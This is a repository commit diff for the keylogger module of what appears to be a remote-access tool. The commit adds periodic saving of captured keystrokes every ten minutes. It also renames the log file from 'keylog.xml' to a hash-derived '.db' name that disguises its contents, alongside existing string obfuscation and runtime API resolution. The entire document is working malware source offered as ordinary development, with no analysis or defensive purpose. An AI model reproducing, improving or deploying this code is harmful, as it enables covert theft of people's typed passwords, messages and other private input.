Fix: Save keyboard input log to file every 10 minutes
This commit is contained in:
@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
||||
m_bIsOfflineRecord = offline;
|
||||
|
||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
std::string fileName = GetExeHashStr() + ".db";
|
||||
GET_FILEPATH(path, fileName.c_str());
|
||||
strcpy_s(m_strRecordFile, path);
|
||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||
|
||||
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||
HDESK desktop = NULL;
|
||||
clock_t lastCheck = 0;
|
||||
auto lastSave = time(0);
|
||||
while(pThis->m_bIsWorking) {
|
||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||
#if USING_KB_HOOK
|
||||
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
continue;
|
||||
}
|
||||
Sleep(5);
|
||||
auto tm = time(0);
|
||||
if (tm - lastSave > 600) {
|
||||
lastSave = tm;
|
||||
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
|
||||
}
|
||||
#if USING_KB_HOOK
|
||||
clock_t now = clock();
|
||||
if (now - lastCheck > 1000) {
|
||||
|
||||
@@ -7,8 +7,6 @@
|
||||
#include "Manager.h"
|
||||
#include "stdafx.h"
|
||||
|
||||
#define KEYLOG_FILE "keylog.xml"
|
||||
|
||||
#if ENABLE_KEYBOARD==0
|
||||
#define CKeyboardManager1 CManager
|
||||
|
||||
|
||||
Reference in New Issue
Block a user